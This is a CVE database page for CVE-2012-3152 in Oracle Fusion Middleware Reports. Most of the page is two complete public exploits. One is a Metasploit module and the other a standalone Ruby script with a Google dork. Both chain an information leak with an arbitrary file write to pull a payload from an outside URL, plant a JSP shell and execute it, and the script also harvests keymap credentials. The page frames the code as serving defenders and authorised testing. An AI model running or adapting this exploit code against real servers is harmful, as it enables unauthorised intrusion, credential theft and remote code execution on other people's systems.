CVE-2012-3152

unknown KEV
Published 2021-11-03 ยท Modified 2021-11-03
CVSS v3
โ€”
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
2.5

Description

Oracle Fusion Middleware Reports Developer contains an unspecified vulnerability that allows remote attackers to affect confidentiality and integrity of affected systems.

CISA KEV

Vendor
Oracle
Product
Fusion Middleware
Due date
2022-05-03

Predictions

Exploit likelihood
99%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-31737 remote windows verified ruby ยท 9 KB
Metasploit ยท 2014-02-18

Oracle Forms and Reports - Remote Code Execution (Metasploit)

ruby exploit Source: Exploit-DB
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'uri'

class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::EXE

  Rank = GreatRanking

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'Oracle Forms and Reports Remote Code Execution',
      'Description'     => %q{
      This module uses two vulnerabilities in Oracle forms and reports to get remote code execution
      on the host. The showenv url can be used to disclose information about a server. A second
      vulnerability that allows arbitrary reading and writing to the host filesystem can then be
      used to write a shell from a remote url to a known local path disclosed from the previous
      vulnerability.

      The local path being accessable from an URL then allows us to perform the remote code
      execution using for example a .jsp shell.

      Tested on Windows and Oracle Forms and Reports 10.1.
      },
      'Author'          =>
        [
          'miss_sudo <security[at]netinfiltration.com>', # Vulnerability discovery
          'Mekanismen <mattias[at]gotroot.eu>' # Metasploit module
        ],
      'License'         => MSF_LICENSE,
      'References'      =>
        [
          [ "CVE", "2012-3152" ],
          [ "CVE", "2012-3153" ],
          [ "OSVDB", "86395" ], # Matches CVE-2012-3152
          [ "OSVDB", "86394" ], # Matches CVE-2012-3153
          [ "EDB", "31253" ],
          [ 'URL', "http://netinfiltration.com" ]
        ],
      'Stance'          => Msf::Exploit::Stance::Aggressive,
      'Platform'        => ['win', 'linux'],
      'Targets'         =>
        [
          [ 'Linux',
            {
            'Arch' => ARCH_X86,
            'Platform' => 'linux'
            }
          ],
          [ 'Windows',
            {
            'Arch' => ARCH_X86,
            'Platform' => 'win'
            }
          ],
        ],
      'DefaultTarget'   => 0,
      'DisclosureDate'  => 'Jan 15 2014'
    ))
    register_options(
      [
        OptString.new('EXTURL', [false, 'An external host to request the payload from', "" ]),
        OptString.new('PAYDIR', [true, 'The folder to download the payload to', "/images/" ]),
        OptInt.new('HTTPDELAY', [false, 'Time that the HTTP Server will wait for the payload request', 10]),
      ])
  end

  def check
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, "/reports/rwservlet/showenv"),
      'method' => 'GET'
      })

    if res and res.code == 200
      if res.body =~ /\\(.*)\\showenv/
        vprint_good "#{peer} - Windows install detected "
        path = $1.gsub("\\", "/")
        vprint_status "#{peer} - Path:  #{path}"
      elsif res.body =~ /\/(.*)\/showenv/
        vprint_good "#{peer} - Linux install detected"
        vprint_status "#{peer} - Path:  #{$1}"
      else
        return Exploit::CheckCode::Safe
      end
    end

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, "/reports/rwservlet"),
      'method' => 'GET',
       'vars_get' => {
       'report' => 'test.rdf',
       'desformat' => 'html',
       'destype' => 'cache',
       'JOBTYPE' => 'rwurl',
       'URLPARAMETER' => 'file:///'
       }
      })

    if res and res.code == 200 and res.body.downcase.exclude?("<html>")
      vprint_good "#{peer} - URLPARAMETER is vulnerable"
      return Exploit::CheckCode::Vulnerable
    else
      vprint_status "#{peer} - URLPARAMETER is not vulnerable"
      return Exploit::CheckCode::Safe
    end

    return Exploit::CheckCode::Safe
  end

  def exploit
    @payload_url = ""
    @payload_name = rand_text_alpha(8+rand(8)) + ".jsp"
    @payload_dir = datastore['PAYDIR']
    @local_path = ""

    print_status "#{peer} - Querying showenv!"
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, "/reports/rwservlet/showenv"),
      'method' => 'GET',
      })

    if res and res.code == 200
      if res.body =~ /\\(.*)\\showenv/
        print_good "#{peer} - Query succeeded!"
        print_status "#{peer} - Windows install detected "
        @local_path = $1.gsub("\\", "/")
        print_status "#{peer} - Path: #{@local_path }"
      elsif res.body =~ /\/(.*)\/showenv/
        print_good "#{peer} - Query succeeded!"
        print_status "#{peer} - Linux install detected"
        @local_path = $1
        print_status "#{peer} - Path:  #{@local_path }"
      else
        print_status "#{peer} - Query failed"
        fail_with(Failure::Unknown, "#{peer} - target is not vulnerable or unreachable")
      end
    else
      fail_with(Failure::Unknown, "#{peer} - target is not vulnerable or unreachable")
    end

    if datastore['EXTURL'].blank?
      print_status "#{peer} - Hosting payload locally ..."
      begin
        Timeout.timeout(datastore['HTTPDELAY']) {super}
      rescue Timeout::Error
      end
      exec_payload
    else
      print_status "#{peer} - Using external url for payload delivery ..."
      @payload_url = datastore['EXTURL']
      upload_payload
      exec_payload
    end
  end

  def primer
    @payload_url = get_uri
    @pl = gen_file_dropper
    upload_payload
  end

  def on_request_uri(cli, request)
    send_response(cli, @pl)
  end

  def upload_payload
    print_status "#{peer} - Uploading payload ..."
    path = "/#{@local_path}#{@payload_dir}#{@payload_name}"
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, "/reports/rwservlet"),
      'method' => 'GET',
      'encode_params' => false,
      'vars_get' => {
        'report' => 'test.rdf',
        'desformat' => 'html',
        'destype' => 'file',
        'desname' => path,
        'JOBTYPE' => 'rwurl',
        'URLPARAMETER' => @payload_url
       }
    })

    if res and res.code == 200
      print_good "#{peer} - Payload hopefully uploaded!"
    else
      print_status "#{peer} - Payload upload failed"
    end
  end

  def gen_file_dropper
    big_payload =  false #size matters :(

    gen_payload_name  = rand_text_alpha(8+rand(8))
    encoded_pl  = Rex::Text.encode_base64(generate_payload_exe)
    print_status "#{peer} - Building JSP shell ..."

    len = encoded_pl.length
    if len >= 60000 #java string size limit ~60k workaround
      print_status "#{peer} - Adjusting shell due to payload size"
      pl_first = encoded_pl.slice(0, 60000)
      pl_second = encoded_pl.slice(60000, len)
      big_payload = true
    end

    #embed our payload
    shell  = "<%@ page import=\"java.util.*,java.io.*, sun.misc.BASE64Decoder\"%>"
    shell += " <%"
    shell += " BASE64Decoder decoder = new BASE64Decoder();"
    #correct file suffix if windows
    if datastore['TARGET'] == 1
      shell += " File temp = File.createTempFile(\"#{gen_payload_name}\", \".exe\");"
    else
      shell += " File temp = File.createTempFile(\"#{gen_payload_name}\", \".tmp\");"
    end
    shell += " String path = temp.getAbsolutePath();"
    if big_payload
      shell += " byte [] pl = decoder.decodeBuffer(\"#{pl_first}\");"
      shell += " byte [] pltwo = decoder.decodeBuffer(\"#{pl_second}\");"

      shell += " BufferedOutputStream ou = new BufferedOutputStream(new FileOutputStream(path));"
      shell += " ou.write(pl);"
      shell += " ou.close();"

      shell += " ou = new BufferedOutputStream(new FileOutputStream(path, true));"
      shell += " ou.write(pltwo);"
      shell += " ou.close();"
    else
      shell += " byte [] pl = decoder.decodeBuffer(\"#{encoded_pl}\");"
      shell += " BufferedOutputStream ou = new BufferedOutputStream(new FileOutputStream(path));"
      shell += " ou.write(pl);"
      shell += " ou.close();"
    end
    #correct rights if linux host
    if datastore['TARGET'] == 0
      shell += " Process p = Runtime.getRuntime().exec(\"/bin/chmod 700 \" + path);"
      shell += " p.waitFor();"
    end
    shell += " Runtime.getRuntime().exec(path);"
    shell += "%>"

    return shell
  end

  def exec_payload
    print_status("#{peer} - Our payload is at: /reports#{@payload_dir}#{@payload_name}")
    print_status("#{peer} - Executing payload...")

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, "reports", @payload_dir, @payload_name),
      'method' => 'GET'
    })

    if res and res.code == 200
       print_good("#{peer} - Payload executed!")
    else
       print_status("#{peer} - Payload execution failed")
    end
  end
end
EDB-31253 remote jsp ruby ยท 3 KB
Mekanismen ยท 2014-01-29

Oracle Forms and Reports 11.1 - Arbitrary Code Execution

ruby exploit Source: Exploit-DB
#!/usr/bin/env ruby

# Exploit Title: Oracle Reports 11.1
# About: Automated exploit for CVE-2012-3153/CVE-2012-3152
# Google Dork: inurl:/reports/rwservlet/
# Date: 01/28/2014
# Exploit Author: Mekanismen <mattias@gotroot.eu>
# Credits to: @miss_sudo for initial disclosure
# Reference: http://netinfiltration.com/
# Vendor Homepage: http://www.oracle.com/
# Version: 11.1
# Tested on: Linux
# CVE-2012-3153
# CVE-2012-3152

require 'uri'
require 'open-uri'
require 'openssl'
#OpenSSL::SSL::VERIFY_PEER = OpenSSL::SSL::VERIFY_NONE

def upload_payload(dest)
  url = "#{@url}/reports/rwservlet?report=test.rdf+desformat=html+destype=file+desname=/#{dest}/images/#{@payload_name}+JOBTYPE=rwurl+URLPARAMETER='#{@payload_url}'"
  #print url 
  begin
  uri = URI.parse(url)
  html = uri.open.read
  rescue
    html = ""
  end
  
  if html =~ /Successfully run/
    @hacked = true
    print "[+] Payload uploaded!\n"
  else
    print "[-] Payload uploaded failed\n"
  end
end

def getenv(server, authid)
  print "[+] Found server: #{server}\n"
  print "[+] Found credentials: #{authid}\n"
  print "[*] Querying showenv ... \n"
  begin
    uri = URI.parse("#{@url}/reports/rwservlet/showenv?server=#{server}&authid=#{authid}")
    html = uri.open.read
  rescue
    html = ""
  end

  if html =~ /\/(.*)\/showenv/ 
    print "[+] Query succeeded, uploading payload ... \n"
    upload_payload($1)
  else
    print "[-] Query failed... \n"
  end
end

@payload_url = ""         #the url that holds our payload (we can execute .jsp on the server)
@url = ""                 #url to compromise
@hacked = false
@payload_name = (0...8).map { ('a'..'z').to_a[rand(26)] }.join + ".jsp" 

print "[*] PWNACLE Fusion - Mekanismen <mattias@gotroot.eu>\n"
print "[*] Automated exploit for CVE-2012-3152 / CVE-2012-3153\n"
print "[*] Credits to: @miss_sudo\n"

unless ARGV[0] and ARGV[1]
  print "[-] Usage: ./pwnacle.rb target_url payload_url\n"
  exit
end

@url =  ARGV[0]
@payload_url =  ARGV[1]
print "[*] Target URL: #{@url}\n"
print "[*] Payload URL: #{@payload_url}\n"
print "[*] Payload name: #{@payload_name}\n"

begin
#Can we view keymaps?
uri = URI.parse("#{@url}/reports/rwservlet/showmap")
html = uri.open.read
rescue
  print "[-] URL not vulnerable or unreachable\n"
  exit
end

test = html.scan(/<SPAN class=OraInstructionText>(.*)<\/SPAN><\/TD>/).flatten

#Parse keymaps for servers
print "[*] Enumerating keymaps ... \n"
test.each do |t|
  if not @hacked
    t = t.delete(' ')
    url = "#{@url}/reports/rwservlet/parsequery?#{t}"

  begin
    uri = URI.parse(url)
    html = uri.open.read
    rescue
  end
  
  #to automate exploitation we need to query showenv for a local path
  #we need a server id and creds for this, we enumerate the keymaps and hope for the best
  #showenv tells us the local PATH of /reports/ where we upload the shell
  #so we can reach it from /reports/images/<shell>.jsp 

  if html =~ /userid=(.*)@/
    authid = $1
  end
  if html =~ /server=(\S*)/ 
    server = $1
  end

  if server and authid
    getenv(server, authid)
  end
  else
    break
  end
end

if @hacked
  print "[*] Server hopefully compromised!\n"
  print "[*] Payload url: #{@url}/reports/images/#{@payload_name}\n"
else
  print "[*] Enumeration done ... no vulnerable keymaps for automatic explotation found :(\n"
  #server is still vulnerable but cannot be automatically exploited ... i guess
end

Metasploit modules

Oracle Forms and Reports Remote Code Execution
Source fetch failed: fetch_error โ€” view the original via the link above.

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.